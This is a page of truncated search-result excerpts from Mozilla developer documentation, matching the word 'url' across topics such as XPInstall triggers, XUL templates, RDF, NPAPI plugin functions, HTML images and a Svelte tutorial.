url attribute of the embed tag: <embed type="application/x-randomtype" src="myfile.typ" width="50" height="50" plugin
url="http://mytypecompany.xyz/jarpacks/mytypeplugin.jar"></embed> in the example above, the plugin
url attribute points to the signed jar file, which netscape communicator 4.x would then download (subject to the security dialog boxes) if the plugin was not located on the user's machine. smartupdate differs from xpinstall in that: xpinstall uses zip files named xpi files (*.xpi) and smartupdate uses...
...also start an xpi download automatically. this is useful because users can visit a web site, and conditionally get served software (in a streamlined manner) that the web site wants the user to have. trigger scripts are a recommended way of initiating an xpinstall download. triggering an xpinstall download from html in a manner analogous to how smartupdate downloads were initiated by the plugin
url attribute of the embed tag, xpinstall downloads can also be initiated by html tags invoking plugins, notably via the codebase attribute of the object tag. this is analogous to how internet explorer downloads cab files pointed to by the codebase attribute of the object tag. here's an example of a hypothetical object tag used to invoke myplugin (an imaginary application): <object id="theplugin" t...
...on removal. original document information author(s): arun k. ranganathan, netscape communications last updated date: 05 aug 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. link: http://devedge-temp.mozilla.org/view.../index_en.html triggering an xpinstall download from html in a manner analogous to how smartupdate downloads were initiated by the plugin
url attribute of the embed tag, xpinstall downloads can also be initiated by html tags invoking plugins, notably via the codebase attribute of the object tag. this is analogous to how internet explorer downloads cab files pointed to by the codebase attribute of the object tag. here's an example of a hypothetical object tag used to invoke myplugin (an imaginary application): <object id="theplugin" t...
treecol.type - Archive of obsolete content
ent theme's checkboxes: treechildren::-moz-tree-checkbox { /* unchecked checkbox treecells. this style must come before treechildren::-moz-tree-checkbox(checked) otherwise it won't take effect. */ list-style-image: none; } treechildren::-moz-tree-checkbox(checked) { /* checked checkbox treecells. ...
...heckbox treecells. this style must come before treechildren::-moz-tree-checkbox(checked) otherwise it won't take effect. */ list-style-image: none; } treechildren::-moz-tree-checkbox(checked) { /* checked checkbox treecells. cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a
url to an image in your extension or elsewhere. ...
...box-check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a
url to an image in your extension or elsewhere. */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells. cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x, so you should specify a
url to an image in your extension or elsewhere. ...
... should specify a
url to an image in your extension or elsewhere. */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells. cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x, so you should specify a
url to an image in your extension or elsewhere. ...
Introduction - Archive of obsolete content
rieves its data from a datasource. several types of datasources are supported by default, rdf, xml and sqlite databases, however, processors may be written to support other types of datasources. in xul, the datasource is specified by placing the datasources attribute on an element. typically, the value will be a uri that identifies the location of the data. for example, for an xml datasource, the
url of an xml file is specified. when the xul parser sees an element with this attribute, it constructs a template builder for the element and attaches it to the element. it is expected that there will be a template inside the element. the template builder loads the datasource, performs a query on the datasource and generates content based on the results in combination with the template. the type of ...
...mple.rdf" querytype="rdf"> this example specifies the datasource 'http://www.xulplanet.com/ds/sample.rdf', using the datasource type rdf as indicated by the querytype attribute'. we'll look at rdf datasources first. the template builder loads an rdf datasource using the rdf service in the same way as you would create a datasource through the rdf service directly. the datasource is loaded via its
url. some rdf datasources are provided with mozilla -- their
url's start with 'rdf:'. otherwise, the datasource is loaded as any other
url is loaded. if the datasource is already loaded and cached, the template builder can begin work right away. otherwise, there isn't anything to do until the data is loaded. actually, this isn't quite true. the rdf service starts the loading of the datasource in the ...
...nerates results and builds content incrementally while the data arrives. of course, since the data arrives so quickly from the network, you really don't notice this. if the datasource is already loaded, the builder can construct content all in one step, although even this isn't completely true as we'll see later. for xml datasources, use a querytype of xml. the datasources attribute should be the
url of an xml file, which can be either the location of a web site or a file on the local file system, using its file or chrome
url. this file will be loaded and the resulting xml document will be used as the datasource when the template builder generates results and creates content. for example: <listbox datasources="http://www.xulplanet.com/ds/sample.xml" querytype="xml"> <template> <listitem...
...x> this template uses an xml datasource to generate a listbox. although we'll look at the details of this later, the simple result here is that a listitem will be generated for each child node in the xml data, setting the label to the name attribute for each xml node. for sqlite datasources, the datasources attribute specifies the uri of a database file. only local files are supported, so a file
url should be used. if the datasource type supports it, the template builder can also use multiple datasources which are all combined into a single datasource as if they were all in one datasource to begin with. only the built-in rdf type supports this mechanism; the xml and sqlite types do not. when multiple datasources are used, an nsirdfcompositedatasource is created to hold all of the datasources...
Simple Query Syntax - Archive of obsolete content
sent, the full syntax is used instead. in the simple syntax, the builder will use the default query shown above, although the variable names are randomly generated. since the photos list iterates over the children of a container, we can use the simple syntax. here is what it might look like: <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://p
url.org/dc/elements/1.1/title"/> </vbox> </template> there is no <query> or <action> element used. instead, the builder uses a default query, and the action is placed directly inside the <template> element. you can see that this code is much simpler than the full syntax. to understand how this works, let's examine how the builder processes a simple query. first, it evaluates the default query as a...
...icated three times. there are several attributes in the example xul content above that have values prefixed with 'rdf:'. since you can't declare variables in the simple syntax, a different way is used to grab rdf data. the 'rdf:' prefix means look up a predicate pointing out of the node for that result (the child or member node). for example, the label's value attribute has a value of rdf:http://p
url.org/dc/elements/1.1/title'. this means look up the value of the predicate http://p
url.org/dc/elements/1.1/title' pointing out of the current result. of course, it should be obvious that this causes the value attribute to be set to the photo's title. you can get other predicates in the same way, just by using the predicate uri and prefixing it with 'rdf:'. you can also combine two in one attribute...
... of the current result. of course, it should be obvious that this causes the value attribute to be set to the photo's title. you can get other predicates in the same way, just by using the predicate uri and prefixing it with 'rdf:'. you can also combine two in one attribute by separating them with a space or a caret (^) just as you can with the full syntax. for example: <label value="rdf:http://p
url.org/dc/elements/1.1/title http://www.xulplanet.com/rdf/country"/> the 'rdf:' form is really equivalent to the <binding> tag in the full syntax. the subject of the binding is the result member resource, the predicate is the string that comes after 'rdf:' and the object isn't necessary as the value is replaced directly in the attribute. as with bindings, the value is not required to match, so the ...
...photos that do not have this country will not have any content generated for them. the attribute has a namespace that, when expanded, becomes 'http://www.xulpl...
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
('browsertoolbarpalette') will not work. this is the code to create and add it in. let button = doc.createelement("toolbarbutton"); button.setattribute("id", button_id); button.setattribute("label", "replace bookmark"); button.setattribute("class", "toolbarbutton-1 chromeclass-toolbar-additional"); button.setattribute("tooltiptext", "replace an existing bookmark"); button.style.liststyleimage = "
url(" + icon + ")"; button.addeventlistener("command", main.action, false); toolbox.palette.appendchild(button); this code is thanks to dgutov and is seen in full context at his repository here at github: dgutov / bmreplace / bootstrap.js. watch for a snippet that you can copy and paste into scratchpad, and then run on gists@github here: _ff-addon-snippet-addtoolbarbuttontopalette.js . it is based ...
...to attach it to the overlay, put this processing instruction (pi) at the top of the overlay file: <...
...to attach it to the overlay, put this processing instruction (pi) at the top of the overlay file: <?xml-stylesheet href="chrome://myextension/skin/toolbar-button.css" type="text/css"?> note: the css file with your tool...
...ons is painted on the toolbar or in the customize toolbars window, instead of your own icon. caused by: malformed or not applied stylesheet. solution: check to be sure your stylesheet is correct, make sure your contents.rdf (or chrome.manifest) is correct, and be sure you didn't forget to apply the stylesheet to customizetoolbar.xul. ...
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
ete these two files: chrome.rdf overlays.rdf explanation: seamonkey automatically rebuilds these files the next time it starts. when it rebuilds them, it will include your new extension. 3. edit the file: installed-chrome.txt at the end of the file, add the following line. copy and paste the line from here, to avoid typing errors: content,install,
url,resource:/chrome/custombutton/ explanation: this line registers your custom toolbar button extension, linking it into seamonkey. 4. create a new directory named: custombutton perform the following steps in this new directory, creating five files there. explanation: the name is a unique identifier for your extension, and the directory will contain all your exte...
...he file. explanation: this xul file adds the button to the toolbars. it also links to the stylesheet and javascript code that the button uses. the last section specifies details of the button. 7. create a plain text file named button.css. copy the following content, making sure that you scroll to get all of it. ...
...he toolbar. duplicate the last section. in the id and oncommand attributes, change 1 to 2. change the label, accesskey and tooltiptext attributes to whatever you want. do not change the class attribute. now edit button.css. duplicate the first two lines, changing the new lines to specify button-2. edit button.js and add javascript code for the new button. be sure to add the extra code before the c
urly brace on the last line of the file. for example, you could add this code for testing: 2: function () { alert("just testing again") }, create an image for the new button, naming the file button-2s.png. the images supplied here have a 256-colour palette and a transparent background. they are in png format. some other formats will also work. here are some more images that you can download and ...
...:name="myapp" chrome:localeversion="1.8" chrome:skinversion="1.5" chrome:extension="true"/> </rdf:rdf> replace the fields in bold with your xul file name and change the displayname, description, and author attributes as suits you. save the file as contents.rdf and navigate to seamonkey\chrome again, following steps 2 and 3 as listed above. restart seamonkey and type the chrome
url: chrome://myapp/content/myapp.xul, the browser should show you the content of the xul file. note: you may have to restart the machine, as seamonkey often is configured to keep portions of code in memory. this may not be the most relevant spot for this addition, i posted this here because the above approach proved successful after hours of unsuccessful tinkering with methods that proved to be obso...
Adding Style Sheets - Archive of obsolete content
, borders, and size of elements. mozilla applies a default style sheet to each xul window. in many cases, it will suffice to leave the defaults as is. other times, however, you will want to provide a custom style sheet. in general, you will associate a single style sheet with each xul file. you can place a style sheet anywhere you wish. if your xul file is stored remotely and accessed via an http
url, you can store the style sheet remotely as well. if you are creating a xul package to be installed as part of the chrome system, you have two choices. first, you could store the style sheet in the same directory as the xul file. this method has the disadvantage because it means your application will not be themeable. the second method involves placing your files as part of a theme. let's assum...
... system, you have two choices. first, you could store the style sheet in the same directory as the xul file. this method has the disadvantage because it means your application will not be themeable. the second method involves placing your files as part of a theme. let's assume that we are building the find files dialog for themeability, because the find files dialog can be referred to with the
url chrome://findfile/content/findfile.xul so the style sheet file will be stored in chrome://findfile/skin/findfile.css. all the xul examples so far have actually been using a style sheet already. the second line has always been: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this line indicates that we want to use the style provided by chrome://global/skin/. in mozilla, this will...
...ng the import directive. normally, you will only import one style sheet from each xul file. the global style sheet can be imported from within the style sheet associated with the xul file. ...
...the following list summarizes some of the selectors available: button matches all button tags. #special-button matches the element with an id of special-button. .bigbuttons matches all elements with a class of bigbuttons. ...
Creating a Window - Archive of obsolete content
value vertical, which means that the items are placed in a column. this is the default value, so you may leave the attribute off entirely if you wish to have vertical orientation. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this line declares the namespace for xul, which you should put on the window element to indicate that all of its children are xul. note that this
url is never actually downloaded. mozilla will recognize this
url internally. <!-- other elements go here --> replace this comment block with other elements (the buttons, menus and other user interface components) to appear in the window. we'll add some of these in the next set of sections. </window> and finally, we need to close the window tag at the end of the file. opening a window in ord...
...ock with other elements (the buttons, menus and other user interface components) to appear in the window. we'll add some of these in the next set of sections. </window> and finally, we need to close the window tag at the end of the file. opening a window in order to open a xul window, there are several methods that can be used. if you are only in the development stage, you can just type the
url (whether a chrome:, file: or other
url type) into the location bar in a mozilla browser window. you should also be able to double-click the file in your file manager, assuming that xul files are associated with mozilla. the xul window will appear in the browser window as opposed to a new window, but this is often sufficient during the early stages of development. note: the local xul document can...
...ndow using javascript. no new syntax is necessary as you can use the window.open() function as one can do for html documents. however, one additional flag, called 'chrome' is necessary to indicate to the browser that this is a chrome document to open. this will open the window without the toolbars and menus and so forth that a normal browser window has. the syntax is described below: window.open(
url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using firefox, try below: window.open("chrome://browser/content/places/places.xul", "bmarks", "chrome,width=600,height=300"); you can test lines of javascript like these in the error console. choose to...
...window: mozilla -chrome chrome://communicator/content/bookmarks/bookmarksmanager.xul if you are using firefox, try below. firefox -chrome chrome://browser/content/places/places.xul the '-chrome' argument doesn't give the file any additional privileges. instead, it causes the specified file to open as a top-level window without any browser chrome, such as the address field or menu. only chrome
urls have additional privileges. the extension developer's extension contains an xul editor that allows you to type in xul code and see the results in real-time from within mozilla! troubleshooting if the xul window fails to show up on the desktop but has an icon on the desktop tool bar, check the xml-stylesheet declaration. make sure that you have included the stylesheet correctly: <?xml-sty...
Introduction to RDF - Archive of obsolete content
ace for rdf was declared so that the rdf elements are recognized properly. inside, the rdf element, you will place the data. to see some example rdf/xml files, look at those provided with mozilla. they have the extension rdf. rdf database let's take the example of a bookmarks list generated from rdf. a bookmarks list contains a set of records, each with a set of data associated with it, such as a
url, a bookmark title and a visited date. think of the bookmarks as a database, which is stored as a large table with numerous fields. in the case of rdf however, the lists may be hierarchical as well. this is necessary so that we can have folders or categories of bookmarks. each of the fields in an rdf database is a resource, each with a name associated with it. the name is described by a uri. for e...
...ell. this is necessary so that we can have folders or categories of bookmarks. each of the fields in an rdf database is a resource, each with a name associated with it. the name is described by a uri. for example, a selection of the fields in the mozilla bookmark list is described by the uris below: name http://home.netscape.com/nc-rdf#name bookmark name
url http://home.netscape.com/nc-rdf#
url url to link to description http://home.netscape.com/nc-rdf#description bookmark description last visited http://home.netscape.com/web-rdf#lastvisitdate date of last visit these are generated by taking a namespace name and appending the field name. in the next section, we'll look at how...
... </rdf:li> </rdf:seq> </rdf:rdf> here, three records have been described, one for each animal. each rdf:description tag describes a single record. within each record, three fields are described, name, species and class. it isn't necessary for all records to have the same fields but it makes more sense to have them all the same. each of three fields have been given a namespace of animals, the
url of which has been declared on the rdf tag. the name was selected because it has meaning in this case, but we could have selected something else. the namespace feature is useful because the class field might conflict with that used for styles. the seq and li elements are used to specify that the records are in a list. this is much like how html lists are declared. the seq element is used to indica...
...t with that used for styles. the seq and li elements are used to specify that the records are in a list. this is much like how html lists are declared. the seq element is used to indicate that the elements are ordered, or in sequence. instead of the seq element, you can also use bag to indicate unordered data, and alt to indicate data where each record specifies alternative values (such as mirror
urls). the resources can be referred to in a xul file by combining the namespace
url followed by the field name. in the example above, the following uris are generated which can be used to refer to the specific fields: name http://www.some-fictitious-zoo.com/rdf#name species http://www.some-fictitious-zoo.com/rdf#species class http://ww...
More Button Features - Archive of obsolete content
the button below will have both a label and the image 'happy.png'. the image will appear to the left of the label. you can change this position by using two other attributes. this will be explained in a moment. ...
...the button below will have both a label and the image 'happy.png'. the image will appear to the left of the label. you can change this position by using two other attributes. this will be explained in a moment. ...
...the button below will have both a label and the image 'happy.png'. the image will appear to the left of the label. you can change this position by using two other attributes. this will be explained in a moment. ...
...n label="help" image="happy.png"/> button with css image another way to specify the image is by using the css list-style-image style property on the button. this is designed to allow the 'skin' (in this case, the appearance of the image) to be changed without changing the xul file. an example is shown below. example 2 : source view <button id="find-button" label="find" style="list-style-image:
url('happy.png')"/> in this case, the image 'happy.png' is displayed on the button. the style attribute functions similar to its html counterpart. in general, it can be used on all xul elements. note that you really should put the style declarations in a separate style sheet. positioning the images by default, the image on a button will appear to the left of the text label. there are two attributes ...
Skinning XUL Files by Hand - Archive of obsolete content
u probably want your xul file to pick up the global changes when the application is dynamically reskinned. to keep your xul looking consistent and to avoid breaking skins altogether (when your styles have some dependency on a part of the global skin that changes, such as an image), use the style rules in the global skin by importing it into your stylesheet with the following instruction: @import
url("chrome://global/skin/"); refer to the document writing skinnable xul and css for guidelines on how to make your skins friendly to the global skin, to xul, and to mozilla. stylesheet syntax to familiarize yourself with the global skin, open up the text file called global.css in the chrome/classic.jar!/skin/classic/global directory of the mozilla application. in a cascading stylesheet, the sty...
... form is a great advantage of xul, and it should not be overlooked. a css file is a regular text file with the extension .css. it is applied to a xul file by means of the processing instruction at the very top of the xul file. when xul files are situated within a xul package or chrome, the processing instruction for a stylesheet reflects the hierarchy of the package. we will discuss this special
url type in a later article. when the xul file is a stand-alone, as in this example, where the stylesheet is external and sitting in the same directory, the processing instruction at the top of the file is as follows: <?xml-stylesheet href="sample.css" type="text/css"?> a xul file may actually have any number of stylesheet processing instructions: one for each stylesheet that the xul wants to load...
...e styles for elements in a hierarchy, but it is not itself hierarchical, as you saw in the global skin. instead, a css file is usually simply a list of style definitions that are applied to their respective elements and classes by the rendering engine. here is a very short (but complete!) cascading stylesheet that might be referenced and used by a xul file: toolbar.nav-bar { background-image:
url("chrome://navigator/skin/navbar-bg.gif"); padding: 0px; padding-bottom: 2px; } box#navbar { background-color: lightblue; } a:link { color: #fa8072; } this stylesheet exhibits three of the different types of style definitions described above. each type uses a different grouping of elements. in the first definition, the selector "toolbar.nav-bar" is used to define style information for ...
...inition, the "a" element picks up the style information defined in the block only when it is, as a link, active. this last type is new to css2. to start creating the xul skin: add the stylesheet processing instruction to the top of your xul file. <?xml-stylesheet href="sample.css" type="text/css"?> create a new text file called sample.css. add the following lines to the file: @import
url(chrome://global/skin/); box#bbox { background-color: lightgrey; } button#rd { background-color: red; color: white; } save it in the same directory as your xul file. when you reload the xul file you have been working on, the box element you have used to create the navigation area in the xul file appear as follows: the skinned browser is not much to look at right now -- and you ...
Using the Editor from XUL - Archive of obsolete content
identifies this as the window content element, i.e. that which you get from window._content. having an id attribute, id="content-frame", allows us to find this element with document.getelementbyid("content-frame"), and to style it from css. editoronload() is called. it does some getting of window.arguments (which is a way callers can pass parameters to new windows -- we use this to get the
url to be loaded), then it calls editorstartup(), where the real work happens. it passes two parameters; the first indicates whether we want a plain text or html editor (pass text or html here), and the second is the <iframe> element on which we wish to create the editor. we could either pass document.getelementbyid("content-frame") or window._content here. the important stuff in editorstart...
...mmand state maintenance, starting and stopping the throbber etc.). the contentwindow (another settable attribute on nsieditorshell) points to the xul element which is to become editable. note: since we already know this when we have an <editor></editor> tag, we should remove the need to call this. ...
...hich is to become editable. note: since we already know this when we have an <editor></editor> tag, we should remove the need to call this. editorstartup() does some other minor bits of setup before finally kicking off the
url load, which the most important part here. when the xul was parsed, the src attribute on the content frame was set to about:blank (our default 'blank page'
url). we can't set that before xul parsing, so we have to force a load of the page we now want to edit. ...
... remove the need to call this. editorstartup() does some other minor bits of setup before finally kicking off the
url load, which the most important part here. when the xul was parsed, the src attribute on the content frame was set to about:blank (our default 'blank page'
url). we can't set that before xul parsing, so we have to force a load of the page we now want to edit. we get the
url to load from the args element, then kick off the load: var
url = document.getelementbyid("args").getattribute("value"); editorshell.load
url(
url); loading the document in the <iframe> of course happens asynchronously, so we need to know when we have a document that we can start editing. nseditorshell is able to observe the document load on the <iframe>, because it implements nsidocumentlo...
XULRunner tips - Archive of obsolete content
.chrome", "extension:manager-extensions"); pref("extensions.update.enabled", true); pref("extensions.update.interval", 86400); pref("extensions.dss.enabled", false); pref("extensions.dss.switchpending", false); pref("extensions.ignoremtimechanges", false); pref("extensions.logging.enabled", false); pref("general.skins.selectedskin", "classic/1.0"); // nb these point at amo pref("extensions.update.
url", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmoreextensions
url", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmorethemes
url", "chrome://mozapps/locale/extensions/extensions.properties"); if your application is based on gecko 2.0, you need to register a component through the new component registration because the extension...
...py files fuelapplication.js and fuelapplication.manifest from browser/fuel/src for instance into your components/ directory tweak the line #include ../../../toolkit/components/exthelper/extapplication.js in your copy of fuelapplication.js as needed make sure to declare the fuel module and the two files in your components/makefile.in as in browser/fuel/src/makefile.in rebuild... ...
...om browser/fuel/src for instance into your components/ directory tweak the line #include ../../../toolkit/components/exthelper/extapplication.js in your copy of fuelapplication.js as needed make sure to declare the fuel module and the two files in your components/makefile.in as in browser/fuel/src/makefile.in rebuild... useful chrome
urls most of these require branding. ...
...global/skin/" and this alias was maintained in the xulrunner toolkit until xulrunner 1.9 was released. when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin communicator classic/1.0 skin/communicator/ add a skin folder named "communicator" and add a single css file named "communicator.css" with this content: @import
url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as..."). save the dom_inspector-*.xpi package to a temporary directory unzip the package copy the following files: chrome/inspector.jar to the chrome...
NPStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser. ...
...32 lastmodified; void* notifydata; const char *headers; } npstream; fields the data structure has the following fields: plug-in-private value that the plug-in can use to store a pointer to private data associated with the instance; not modified by the browser. ndata browser-private value that can store data associated with the instance; should not be modified by the plug-in. ...
...lastmodified; void* notifydata; const char *headers; } npstream; fields the data structure has the following fields: plug-in-private value that the plug-in can use to store a pointer to private data associated with the instance; not modified by the browser. ndata browser-private value that can store data associated with the instance; should not be modified by the plug-in. ...
...ociated with the instance; should not be modified by the plug-in.
url the
url that the data in the stream is read from or written to. end offset in bytes of the end of the stream (equivalent to the length of the stream in bytes). can be zero for streams of unknown length, such as streams returned from older ftp servers or generated "on the fly" by cgi scripts. lastmodified time the data in the
url was last modified (if applicable), measured in seconds since 12:00 midnight gmt, january 1, 1970. notifydata used only for streams generated in response to a npn_get
urlnotify or npn_post
urlnotify request. for these streams, notifydata is set to the value of the notifydata parameter to npn_get
urlnotify or npn_post
urlnotify. for other streams, notifydata is null. headers the response headers f...
NPAPI plugin reference - Archive of obsolete content
hentication information from the browser. npn_getintidentifier returns an opaque identifier for the integer that is passed in. npn_getproperty gets the value of a property on the specified npobject. npn_getstringidentifier returns an opaque identifier for the string that is passed in. npn_getstringidentifiers returns an array of opaque identifiers for the names that are passed in. npn_get
url asks the browser to create a stream for the specified
url. npn_get
urlnotify requests creation of a new stream with the contents of the specified
url; gets notification of the result. npn_getvalue allows the plug-in to query the browser for information. npn_getvaluefor
url provides information to a plugin which is associated with a given
url, for example the cookies or preferred proxy. npn_...
... given npobject. npn_memalloc allocates memory from the browser's memory space. npn_memflush requests that the browser free a specified amount of memory. npn_memfree deallocates a block of allocated memory. npn_pluginthreadasynccall thread safe way to request that the browser calls a plug-in function on the browser or plugin thread (the thread on which the plug-in was initiated). npn_post
url posts data to a
url. npn_post
urlnotify posts data to a
url, and receives notification of the result. npn_releaseobject decrements the reference count of the given npobject. if the reference count reaches 0, the npobject is deallocated by calling its deallocate function if one is provided; if one is not provided, free() is used. npn_releasevariantvalue npn_releasevariantvalue() release...
...crements the reference count of the given npobject. npn_setexception a plugin can call this function to indicate that a call to one of the plugin's npobjects generated an error. npn_setproperty sets the value of a property on the specified npobject. npn_setvalue implemented by browsers. this call is used to inform the browser of variable information controlled by the plugin. npn_setvaluefor
url allows a plugin to change the stored information associated with a
url, in particular its cookies. (while the api theoretically allows the preferred proxy for a given
url to be changed, doing so does not have much meaning given how proxies are configured, and is not supported.) npn_status lets a plug-in display a message on the browser's status line. npn_useragent returns the browser's user ...
...a stream. npp_print requests a platform-specific print operation for an embedded or full-screen plug-in. npp_setvalue implemented by plugins. this call is used to inform plugins of variable information controlled by the browser. npp_setwindow tells the plug-in when a window is created, moved, sized, or destroyed. npp_streamasfile provides a local file name for the data from a stream. npp_
urlnotify notifies the plug-in instance of the completion of a
url request. npp_write delivers data to a plug-in instance. (remark: hence the name "npp_write" is misleading - just think of:"data_arrived") npp_writeready determines maximum number of bytes that the plug-in can consume. npprint contains information the plug-in needs to print itself in full-page or embedded mode. npprintcallbacks...
Building a Theme - Archive of obsolete content
this is a value you come up with to identify your extension in email address format (note that it should not be your email). make it unique. you could also use a guid. note: this parameter must be in the format of an email address, although it does not have to be a valid email addres...
...this is a value you come up with to identify your extension in email address format (note that it should not be your email). make it unique. you could also use a guid. note: this parameter must be in the format of an email address, although it does not have to be a valid email address. (example.example.example) 4 - the ty...
...omponents which are loaded via chrome:// uris. rather than load the browser from disk using a file:// uri (since the location of firefox on the system can change from platform to platform and system to system), mozilla developers came up with a solution for creating uris to content that the installed add-on knows about. the browser window is: chrome://browser/content/browser.xul. try typing this
url into the location bar in firefox! chrome uris consist of several components: firstly, the uri scheme (chrome) which tells firefox's networking library that this is a chrome uri. it indicates that the content of the uri should be handled as a (chrome). compare (chrome) to (http) which tells firefox to treat the uri as a web page. secondly, a package name (in the example above, browser) which ...
...package won't be registered. the third column needs to match your theme's internalname value from the install manifest above. this maps skin directories to locations within your theme. for example, the line skin browser sample skin/browser/ means "when the user has the sample theme selected, use the directory browser/ to look up skins for the browser package." more concisely, this means that the
url chrome://browser/skin/some/path/file.css will look for a file browser/some/path/file.css in your theme's root directory. save the file. test first, we need to tell firefox about your theme. during the development phase for firefox versions 2.0 and higher, you can point firefox to the folder where you are developing the theme, and it'll load it up every time you restart firefox. locate you...
Images in HTML - Learn web development
mage on a webpage? in order to put a simple image on a webpage, we use the <img> element. this is an empty element (meaning that it has no text content or closing tag) that requires a minimum of one attribute to be useful — src (sometimes spoken as its full title, source). the src attribute contains a path pointing to the image you want to embed in the page, which can be a relative or absolute
url, in the same way as href attribute values in <a> elements. note: you should read a quick primer on
urls and paths to refresh your memory on relative and absolute
urls before continuing. so for example, if your image is called dinosaur.jpg, and it sits in the same directory as your html page, you could embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirecto...
...s inside the same directory as the html page (which google recommends for seo/indexing purposes), then you'd embed it like this: <img src="images/dinosaur.jpg"> and so on. note: search engines also read image filenames and count them towards seo. therefore, you should give your image a descriptive filename; dinosaur.jpg is better than img835.png. you could embed the image using its absolute
url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the ip address from the dns server all over again, etc. you'll almost always keep the images for your website on the same server as your html. warning: most images are copyrighted. do not display an image on your webpage unless: you own the imag...
... attribute by scott o'hara. it is better to include such supporting information in the main article text, rather than attached to the image. active learning: embedding an image it is now your turn to play! this active learning section will have you up and running with a simple embedding exercise. you are provided with a basic <img> tag; we'd like you to embed the image located at the following
url: https://udn.realityripple.com/samples/ec/5a13bd14f6.jpg earlier we said to never hotlink to images on other servers, but this is just for learning purposes, so we'll let you off this one time. we would also like you to: add some alt text, and check that it works by misspelling the image
url. set the image's correct width and height (hint: it is 200px wide and 171px high), then experiment ...
....value; } updatecode(); }; css background images you can also use css to embed images into webpages (and javascript, but that's another story entirely). the css background-image property, and the other background-* properties, are used to control background image placement. for example, to place a background image on every paragraph on a page, you could do this: p { background-image:
url("images/dinosaur.jpg"); } the resulting embedded image, is arguably easier to position and control than html images. so why bother with html images? as hinted to above, css background images are for decoration only. if you just want to add something pretty to your page to enhance the visuals, this is fine. though, such images have no semantic meaning at all. they can't have any text equivalents,...
Video and Audio APIs - Learn web development
opacity of 0.5 by default, so that they are less distracting when you are trying to watch the video. only when you are hovering/focusing over the player do the controls appear at full opacity. we lay out the buttons inside the control bar using flexbox (display: flex), to make things easier. ...
...stracting when you are trying to watch the video. only when you are hovering/focusing over the player do the controls appear at full opacity. we lay out the buttons inside the control bar using flexbox (display: flex), to make things easier. ...
...ver the player do the controls appear at full opacity. we lay out the buttons inside the control bar using flexbox (display: flex), to make things easier. ...
......
Getting started with Svelte - Learn web development
rk a variable declaration as a property (or prop), which means it becomes accessible to consumers of the component (e.g. other components). this is one example of svelte extending javascript syntax to make it more useful, while keeping it familiar. the markup section in the markup section you can insert any html you like, and in addition you can insert valid javascript expression inside single c
urly brackets ({}). in this case we are embedding the value of the name prop right after the hello text. <main> <h1>hello {name}!</h1> <p>visit the <a href="https://svelte.dev/tutorial">svelte tutorial</a> to learn how to build svelte apps.</p> </main> svelte also supports tags like {#if...}, {#each...}, and {#await...} — these examples allow you to conditionally render a portion of the marku...
...at lets you enter full-screen mode, and download your app. if you login with a github account, you'll also be able to fork and save the app. you'll also be able to see all your saved repls by clicking on your github username profile and selecting your saved apps. whenever you change any file on the repl, svelte will recompile the app and update the result tab. to share your app simply share the
url. for example, here's the link for a repl running our complete app: https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2. note: notice how you can specify svelte's version in the
url. this is useful when reporting issues related to a specific version of svelte. we will provide a repl at the beginning and end of each article so that you can start coding with us right away. ...
...provide a repl at the beginning and end of each article so that you can start coding with us right away. note: at the moment the repl can't handle folder names properly. if you are following the tutorial on the repl, just create all your components inside the root folder. then when you see a path in the code, for example import todos from './components/todos.svelte', just replace it with a flat
url, e.g. import todos from './todos.svelte'. the code so far git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/01-getting-started or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/01-getting-started remember to run npm i...
...d. in svelte: we define the script, style and markup of each component in a single .svelte file. component props are declared with the export keyword. svelte components can be used just by importing the corresponding .svelte file. components styles are scoped, keeping them from clashing with each other. in the markup section you can include any javascript expression by putting it between c
urly braces. the top-level variables of a component constitute its state. reactivity is fired just by assigning a new value to a top level variable. previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react ...
HTMLIFrameElement.executeScript()
the browser api for more details. syntax var mydomrequest = instanceofhtmliframeelement.executescript(script, options); return value a domrequest object that returns an onsuccess handler if the script is successfully executed against the loaded content, or an onerror handler if not. parameters script the script to be executed. ...
....executescript(script, options); return value a domrequest object that returns an onsuccess handler if the script is successfully executed against the loaded content, or an onerror handler if not. parameters script the script to be executed. options optional optionally, you can provide an origin or
url for the script to be executed against. ...
... executed against the loaded content, or an onerror handler if not. parameters script the script to be executed. options optional optionally, you can provide an origin or
url for the script to be executed against. it's recommended that you include an origin or
url, in order to ensure that the script is being executed in the expected context: origin: an origin, e.g. http://example.com
url: a
url, e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the script seems to execute even if a
url/origin is specified. ...
... or
url, in order to ensure that the script is being executed in the expected context: origin: an origin, e.g. http://example.com
url: a
url, e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the script seems to execute even if a
